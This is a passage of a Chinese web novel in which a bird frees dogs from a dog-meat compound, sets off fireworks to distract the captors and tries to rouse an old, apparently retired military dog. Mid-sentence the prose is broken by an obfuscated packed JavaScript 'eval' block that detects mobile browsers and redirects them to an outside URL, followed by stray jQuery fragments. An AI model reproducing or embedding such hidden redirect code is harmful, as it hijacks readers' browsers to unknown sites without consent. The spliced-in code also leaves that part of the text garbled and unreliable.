蓝鹊们会飞,倒是不用过于担心它们的安危,可那两个男人肯定不会跟它们纠缠太久,还是会过来这里,到时就会发现小狗们全跑出来了。
狗的数量比人多,但坏人是没有原则的。
若是争执起来,就算抓不到所有狗,伤害甚至打死几只肯定没问题,反正他们将狗当成货送,不一定需要狗活着。
而游苏的目标,是将小狗们全须全尾全部带出去。
低头看了一眼爪间的打火机,她心里有了打算。
她刚让蓝鹊们取鞭炮来,是想在逃跑途中干扰坏人用。
但以现在的情况来看,小小几串鞭炮已经无法解决问题。毕竟,鞭炮杀伤力有限,没法限制那两个男人的行动。
可要是她飞去那个放满鞭炮的厂房,将里面的炮点燃呢?
游苏观察过,这里的厂房材质特殊,防火防爆,以前不知是干什么用的,就算点燃鞭炮,也不会引发大规模火灾。
但对坏人们来说,炮要是炸了,肯定是一笔不小的损失,他们肯定会被吸引过去,想方设法补救一下。
到时,就算他们发现狗跑了,利益取舍下,应该也不会来追。
觉得计划可行,游苏准备动身。不过,在此之前,还有一件事要做。
她又飞到厂房前,昏倒的男人仍在地上躺着,黑背也还是老样子,静静趴在笼子里。
游苏有些佩服它。
外面已经乱成一锅粥,狗也全跑出去了,这里就只剩下黑背自己。
这只心性坚定,一心求死的固执老狗,堪称临危不乱……等等,心性坚定,临危不乱?
游苏脑中忽然像是有道闪电划过。
她的目光很快定焦在黑背的耳标上。
一开始游苏看见耳标没多想,只当这只黑背是有主人的。
现在想来,寻常的狗主人顶多就是给狗戴项圈,要是正规犬舍,可能还会植入芯片,但谁会给狗打耳标?
而且,这耳标上还有看起来就很正规的编号,什么地方会给狗编号?
这只黑背,会不会是退役的警犬或军犬?
想到这点,又回忆起它那充满死意的目光,游苏再看这只黑背时,忽然就有些理解它的感受了。
军犬在服役期间,作息规律,每天都有固定训练。它们通过不断执行指令、完成任务,去获得认可与满足感。
在役时,军犬与训导员的感情也很深。
而退役后,生活中的一切,就发生了翻天覆地的变化。
每天睁开双眼,没了指令与任务,也没有任何目标,最熟悉的人与狗同伴都很难再见面。
加上身体机能的退化,以前,它或许是犬中军神的存在,如今却日渐老眼昏花,曾引以为傲的听力和嗅觉,都变得迟钝不已。
也许,对于这只黑背来说,生命没有意义,不是它思考得出的结果,而是一段客观存在的事实,是无论如何只能接受的现状。
就在某一日,它猝然被丢入狂风暴雨中,从此就迷失了方向,再也找不到太阳。
只是……就算是退役军犬,应该也会被收养,好好善待,怎么会沦落到这个狗肉厂?
游苏心头酸涩。
她不知道这只黑背经历过什么,可她心中的念头却再次坚定,一定要将它带出去!
军犬的猜测,也让游苏冒出一个想法。
她从地上捡起蓝鹊带来的那根鞭炮,叼着它飞进黑背的笼子。
游苏将这根炮放在黑背的鼻子跟前。
如果是训练过的军犬,对□□的味道肯定很敏感,之前它一直没反应,可能是嗅觉退化的缘故。
但她放这么近的话,肯定可以闻出来。
说不定就可以唤起它以前服役时的记忆,恢复一些精气神,愿意跟她走呢!
在游苏期待的目光中,黑背的鼻尖猛地动了动,果然睁开了双眼。
它趴在地上,用鼻子使劲嗅着那根鞭炮。
游苏看到它的耳朵,之前还是软绵绵地歪斜着,现在却硬邦邦地立了起来。
接着,它猛地站起身,原地转了两圈,一屁股坐下了。
这次,黑背的坐姿标准、端正,完全看不出之前趴睡时的懒散。
它的头高高扬起,耳朵忽然又往后别了别,仿佛是在期待什么人的抚摸。
等了许久,也没有等到那只熟悉的手。
它很快怔住,眼中渐渐失神,似乎又沉浸在自己的世界里。
见它这样,游苏有些惊慌,忙飞到它的脑袋上,用肚子暖了暖它的头,又拿翅膀使劲拍它耳朵。
可惜,黑背无动于衷。
外面隐隐响起狗叫声,是棉花它们!
游苏之前叮嘱过它们不要乱叫,这会儿喊的这么凶,很可能是被那群男人发现了。
不行,得赶紧出去,先去厂房点燃鞭炮再说。
游苏离开笼子,转头又看黑背一眼,它仍呆立着。
她没再看下去,暗道一会儿忙完,就让棉花过来咬黑背的尾巴,拖也要把它拖走!
游苏很快飞出门。
她看到不远处两个男人正朝狗们跑过来,嘴上骂骂咧咧,手中果然拿着棍棒。
“嘎!”游苏朝狗们大喊一声,示意它们先跑,别被抓到,最好是躲起来。
然后又朝空中“嘎”了两声。
刚被男人驱逐过,游荡在空中的蓝鹊们听到了,立刻叼着鞭炮朝她飞来。
游苏迎身上去,在空中与它们完成了鞭炮的交接。
她口衔鞭炮,用爪搓开打火机盖子,飞快点燃鞭炮的引线丢下去。
鞭炮落下,落点稍微有些偏,一连串的火花在毛巾男脚边炸开,噼里啪啦作响。
俩男的都被吓一跳,看清是串鞭炮后,二人停下脚步,抬头看向空中。
游苏抓着打火机在他们面前晃了晃,然后迅速飞走。
她速度快,很快就消失在两人视线里。
望着她的背影,毛巾男吃惊道:“邪门了!刚才的炮是那只鸟拿打火机点的?”
另一个男人也觉得瘆得慌。
鸟没什么可怕的,打火机点炮很正常,被扔鞭炮这事也问题不大,但一只鸟拿打火机点炮,还朝他们扔,结合起来就有点恐怖了。
但他很快反应过来:“不对劲,那鸟带着打火机要往哪飞?”
看方向,感觉像是放货的厂房?
它不会点炮上瘾了,打算去后面玩个大的吧!
两人对视一眼,果然再也顾不上打狗,拔腿就朝厂房跑去。
跑到跟前才想起,好几间厂房都放着炮,也不知道那鸟飞哪去了,只能先停下脚步站在原地观望。
但没让他们发愁太久。
其中一间厂房内,忽然响起了此起彼伏的鞭炮声!
“我草,那边!”
“快!先去旁边捞个桶子再装些水!”
两个男人手忙脚乱地拿了个破桶舀上水,朝放鞭炮的厂房跑去。这会儿两人头脑发热,除了带上水桶,一时也想不到别的办法。
先过去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271739|182336||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再说!
见两个男人跑向厂房,游苏暗暗松了口气。
事情果然与她猜想得差不多,对于这些人来说,炮可比狗值钱多了。
前两天才救过火的她,今天又当了一回纵火者,这会儿不免有些唏嘘。
但她很快甩开这些想法,又朝关狗的库房飞去。
遭遇无数波折,这回应该可以顺利救狗出去了吧!
游苏飞到厂房附近,招呼了一声,刚躲起来的小狗们就从各个角落里钻出,开心地围过来。
蓝鹊们也都飞了过来。
“嘎!”
游苏示意棉花留下,让蓝鹊们先带小狗从狗洞离开。
她还没忘记黑背的事,刚才它已经站起身了,也许再找机会推一把,就会迈出铁笼。
狗儿们跟着蓝鹊离开,棉花冲进了关狗的厂房,游苏也跟着飞进去。
但就在进门的瞬间,变故突生,一道身影忽然从旁边扑出来,一把将棉花按倒在地上!
游苏隼眼一缩,发现竟是刚才那个昏倒的男人!
“汪呜!”
棉花难受地叫了一声,接着,它的嘴就被男人一只手钳住,再也发不出声,只剩喉咙里咕噜响着气泡。
男人半躺在地上,用一条腿压住棉花的狗身。
他脸上露出阴狠之色,抬起头,用爆血丝的眼睛死死盯住正要冲下来的游苏,警告道:
“臭鸟别动,否则我直接勒死这条狗!”
男人说完,就觉得自己像是疯了,居然会用一条狗去威胁一只鸟。
可是也不能怪他。
他刚醒来后,看到笼子里的狗都不见了,下意识想点根烟冷静一下,结果一摸,打火机居然也离奇失踪。
回忆起发生的一切,一个不可思议的想法浮现在他脑中。
那些狗,很可能是被那只大鸟放走的。它是刻意来这里救它们!
男人知道自己的想法很荒谬,但事实也许就是这么离谱。
他倒没觉得,这事是鸟自己要干的。而是猜测,可能有人早就盯上了他们这片地方,才会派鸟过来捣鬼。
男人并不怀疑,有人能用特殊的手段驯服眼前这只鸟,并指挥它做事。
他以前可是刷到过少数民族训雕的短视频呢。
那训鸟人可能是想分他们的利益,也可能是单纯行侠仗义,又或者,是这些狗中某一条的主人,所以才要放掉这些狗……但不管事实如何,都无所谓了!
眼下,他的突破口只有手中这条狗。
男人本来是想对那只鸟动手的,但昏迷前的一切仍历历在目,那鸟过于灵活敏捷,风险太大了,还是狗更好对付。
他按住白狗,本来只是想赌一把。
没想到在喊出那句话后,鸟真的停止了动作,它居然能听懂人话!
这么有灵性的鸟,看起来也威风,如果能卖掉,似乎能弥补一下他手机摔坏的损失?
男人美美想着,再次提出条件:“你乖乖飞进那只笼子里,我就不动这条狗!”
他指了指旁边废弃的小笼子。
那笼子只能关小狗,之前很少派上用场,但关这只鸟正好合适。
游苏飞在空中眯着眼睛看他。
她刚看到棉花被压制,确实下意识顿了几秒,但不代表她会受到这个男人胁迫!
她胸中的怒火凶凶燃烧着,几乎快要点燃身上的每一根羽毛。
喜欢胁迫鸟是吗?
那就让你看看什么叫终日打雁,被雁啄了眼睛!